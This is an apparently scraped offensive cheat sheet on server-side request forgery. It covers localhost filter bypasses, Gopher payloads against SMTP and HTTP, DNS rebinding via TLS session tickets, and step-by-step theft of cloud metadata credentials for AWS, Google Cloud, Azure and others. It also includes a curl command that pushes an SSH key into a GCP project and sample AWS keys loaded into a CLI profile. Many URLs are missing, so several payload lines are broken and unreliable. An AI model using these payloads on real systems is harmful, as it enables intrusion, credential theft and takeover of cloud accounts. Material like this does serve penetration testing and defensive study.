SSRF (Server Side Request Forgery)

What is Server Side Request Forgery?

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. (From here)

What you should try to do

  • Accessing to local files (file://)

  • Trying to access to local IP

    • Local IP bypass

    • DNS spoofing (domains pointing to

    • DNS Rebinding (resolves to an IP and next time to a local IP: This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again (as it has to resolve the domain again a different IP can be served by the DNS). More info here.

  • Trying to make an internal assets discovery and internal port scan.

  • Accessing private content (filtered by IP or only accessible locally, like /admin path).

Bypass restrictions

Basic bypass localhost

## Localhost
http://[::]:25/ SMTP
http://[::]:3128/ Squid
## CDIR bypass
## Decimal bypass
http://2130706433/ =
http://017700000001 =
http://3232235521/ =
http://3232235777/ =
## Hexadecimal bypass = 0x7f 00 00 01
http://0x7f000001/ =
http://0xc0a80014/ =
##Domain FUZZ bypass (from

Bypass using DNS -> localhost = = = (localhost) = (Resolves to the given IP) = Resolves to = (localhost) == =

Other bypasses

## Malformed URLs and rare addresses
## Tricks &@ @
urllib2 :
requests + browsers :
urllib :
filter_var() php function: 0://;
## Weakparser\@\@@\@@\@

Bypass domain regexp

Go to the proposed bypasses for Referer header in CSRF

Bypass via open redirect

If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource. Read more here:

SSRF via Referrer header

Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. To discover this kind of "hidden" vulnerabilities you could use the plugin "Collaborator Everywhere" from Burp.

Server browser enumeration

You can use applications like to find which browser is being used.





The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:



A network protocol used for secure file transfer over secure shell



Trivial File Transfer Protocol, works over UDP



Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.



Using this protocol you can specify the ip, port and bytes you want the listener to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first). Fortunately, you can use to already create payloads for several services.

Gopher smtp

will make a request like
HELO localhost
From: [Hacker] <>
To: <>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !

Gopher HTTP

gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A

Gopher SMTP — Back connect to 1337

header("Location: gopher://!");
?>Now query it.


From 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220 ESMTP Sendmail 3. search on github, find subdomains 4. connect

Exploiting PDFs Rendering

If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

From SSRF to DoS

Create several sessions and try to download heavy files exploiting the SSRF from the sessions.

Abusing DNS Rebidding + TLS Session ID/Session ticket


  • SSRF

  • Outbound TLS sessions

  • Stuff on local ports


  1. Ask the user/bot access a domain controlled by the attacker

  2. The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)

  3. A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.

  4. The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.

  5. In the DNS request a private IP address is given now ( for example)

  6. The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.

Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with (the port must always be the same). To perform this attack you can use the tool: For more information take a look to the talk where this attack is explained:

Exploitation in Cloud

Abusing SSRF in AWS EC2 environment - Metadata Address

Metadata of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: (information about the metadata here).

The IP address is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use Metadata-Flavor: Google as an HTTP header and refusing requests with an X-Forwarded-For header. AWS has no constraints.

Sending a GET requests to the following endpoint will dump a list of roles that are attached to the current EC2 instance:

If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.

Once you get a list of roles attached to the EC2 instance you can dump their credentials by making a GET requests to the following URL:<ROLE_NAME_HERE>

As an example you can visit:

The response should look something like this:

"Code" : "Success",
"LastUpdated" : "2019-08-03T20:42:03Z",
"Type" : "AWS-HMAC",
"SecretAccessKey" : "sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR",
"Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=",
"Expiration" : "2019-08-04T03:16:50Z"

You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do. If the role has improper permissions set (Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.

To take advantage of the new credentials, you will need to crate a new AWS profile like this one:

aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Notice the aws_session_token, this is indispensable for the profile to work. Information taken from: (read that post for further information). Another possible interesting place where you can find credentials is in

PACU can be used with the discovered credentials to find out your privileges and try to escalate privileges

SSRF in AWS ECS (Container Service) credentials

ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.

If you access<GUID> you will find the credentials of the ECS machine. But first you need to find the <GUID> . To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine. You could be able to read it exploiting an Path Traversal to file:///proc/self/environ The mentioned http address should give you the AccessKey, SecretKey and token.

SSRF URL for AWS Elastic Beanstalk

We retrieve the accountId and region from the API.

We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.

Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

SSRF URL for Google Cloud

Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”

Google allows recursive pulls

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

Interesting files to pull out:

Add an SSH key

Extract the token

Check the scope of the token

$ curl {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "",
"expires_in": 2443,
"access_type": "offline"

Now push the SSH key.

curl -X POST ""
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

SSRF URL for Digital Ocean

Documentation available at

curl in one request:
curl | jq

SSRF URL for Packetcloud

Documentation available at

SSRF URL for Azure

Limited, maybe more exists?

Update Apr 2017, Azure has more support; requires the header “Metadata: true”

SSRF URL for OpenStack/RackSpace

(header required? unknown)

SSRF URL for HP Helion

(header required? unknown)

SSRF URL for Oracle Cloud

SSRF URL for Alibaba

SSRF URL for Kubernetes ETCD

Can contain API keys and internal ip and ports

curl -L

SSRF URL for Docker example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

SSRF URL for Rancher

curl http://rancher-metadata/<version>/<path>

Blind SSRF

The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.

Detect SSRF

You can use to create an HTTP server that will respond correctly to a lot of different requests (GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...).

To practice